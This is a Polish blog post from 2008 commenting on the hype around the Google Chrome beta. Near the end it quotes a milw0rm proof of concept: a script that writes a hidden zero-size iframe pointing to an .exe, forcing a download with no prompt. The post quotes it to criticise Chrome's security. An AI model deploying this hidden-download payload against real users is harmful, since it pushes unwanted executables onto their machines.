[PL] Ach ten chrom.. palący.

Jaimagekoś dziwnie do tego wpisu pasuje mi William Gibson i jego zbiór opowiadań "Burning Chrome". Zresztą gdzieś tu obok powinniście widzieć okładkę. Po takim wstępie powinniście się też domyślać o czym będzie mowa.

Dużo tzw. "hype" pojawiło się momentalnie wokół nowego jeszcze niezbyt dojrzałego dziecka Google czyli Google Chrome Browser. Nie jest to pierwszy hype ostatnich czasów związany z hi-tech, więc już zdążyłem przywyknąć do tego typu sytuacji. Nie wiem czy nabrałem dystansu natomiast, aż tak strasznie się nie ekstycuję.
iPhone też ma dużego hype'a, ale żeby był synonimem iPoda w swojej kategorii jakoś trudno mi uwierzyć.

Jak dotarła do mnie wiadomość o chromie, to przejrzałem sobie najpierw komiks, a później kilka zdań na stronie projektu z wytłumaczeniem, po co w ogóle został stworzony i co nowego wnosi. Po co? Tutaj zaskoczenia nie ma w ogóle. Firma, która swoją działalność opiera o internet i kreuje się jako jeden z wizjonerów jego przyszłości nie uczestnicząca jednocześnie w tym jak wyglądają podstawowe medium do jego obsługi? Coś tu nie gra, nie? Odpowiedź właśnie się pojawiła - Chrome.

Odpowiedź, co takiego nowego Chrome wprowadza jako teoria mi się nawet spodobała. Obserwując rozwój przeglądarek - czy to będzie IE, czy to będzie Firefox, czy inni pomniejsi gracze lub na nieznane mi platformy wprowadzają zmiany moim zdaniem drobnymi kroczkami, ewolucyjnie i nadganiając siebie nawzajem jak tylko drugi wymyśli coś, co cała rzesza internautów pokocha (vide taby, przez które kiedyś przesiadłem się na FF na jakiś czas). Nie nazwałbym jednak tych zmian rewolucyjnymi. Na stronie chrome czytam coś, co zrozumiałem mniej więcej tak: Koledzy z Google sobie siedli, pomyśleli i doszli do wniosku, że po obserwacjach jak internauci korzystają z internetu i z ich usług należało by trochę zrewolucjonizować pojęcie przeglądarki. Zapał i zamiar zrozumiałem dokładnie tak - to ma być rewolucja.

Rozumiem, że to beta, natomiast wciąż rewolucji nie widzę. To, co zobaczyłem, abstrahując od innych rzeczy, to niedoskonała wciąż przeglądarka adresowana dla bardzo nieświadomych użytkowników końcowych, albo technologów, którzy zobaczą w niej potencjał jako jedno z narzędzi wspomagających web development. Ot w bezpośrednim starciu to bardziej konkurencja dla Firefoxa niż Internet Explorera.

Jako pracownik Microsoftu przyznam, że nawet się cieszę, że Chrome się pojawił. Wbrew pewnie co poniektórym apokaliptykom nie widzę przesłanek do śmierci IE, co najwyżej jeszcze ciekawszej, dynamiczniejszej i zdrowej konkurencji w walce o tę upragnioną rewolucję w internecie.

Prasa zdążyła się już szeroko rozpisać na temat Chrome. Tematu też licznie podjęli się blogerzy. Jak widać "hype" jest, ale na razie nic więcej.

Jakbyście chcieli dowiedzieć się czegoś więcej to:

Tomek Onyszko na swoim blogu rzucił parę technologicznych uwag. Warto zajrzeć też do komentarzy do jego wpisu. Mnie w sumie też się nie podoba, że każdy element przeglądarki figuruje jako osobny proces. Obserwując jak Chrome wykorzystuje zasoby komputera, wcale nie uważam, że jest taki lekki, ach och.. jak piórko.
Kwestia licencji też jest ciekawym tematem, o czym wielu z was na pewno już przeczytało. Jeśli nie, to angielski The Register jest dobrym odnośnikiem.
Polska prasa też nie została obojętna tematowi, jak np. moja "ulubiona" Rzeczpospolita i jej artykuły wieszczące apokalipsę i ostatni bój z Microsoftem.
https://www.rp.pl/artykul/185392.html, https://www.rp.pl/artykul/185073.html oraz https://www.rp.pl/artykul/185345.html. Cóż, szanuję prawo niektórych dziennikarzy do histerii, ale się z nim nie zgadzam :)

Jeszcze jedna ciekawostka, którą wyszukałem w sieci dotyczy bezpieczeństwa, które tak bardzo podobno Chrome adresuje. Polecam ten link:
https://www.milw0rm.com/exploits/6355 

Cytując powyższe znalezisko:
[

 ***************************************************************************
 Author: nerex
 E-mail: nerex[at]live[dot]com

 Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
 downloaded to the user's computer without any user prompt.

 This proof-of-concept was created for educational purposes only.
 Use the code it at your own risk.
 The author will not be responsible for any damages.

 Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="https://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03]

]

Mnie zrobiło się słabo, nawet jeśli wezmę pod uwagę, że to Beta.

Na początku nawiązałem do klasyki cyberpunka w fantastyce. Kontynuując tę analogię i przechodząc dalej w gry fabularne (RPG) nasuwa mi się pewne skojarzeine. Był taki podręcznik rozszerząjący grę Cyberpunk 2020: książka nazywała Chromebook. W zasadzie to wiele książek bardziej niż jedna. Poszczególne tomy miały numeracje wolumenów i stały tytuł. Czekam zatem na Chromebook: Volume 2. Forma komiksu jak najbardziej mi odpowiada :)

Technorati Tagi: Polish posts,news,babbling,internet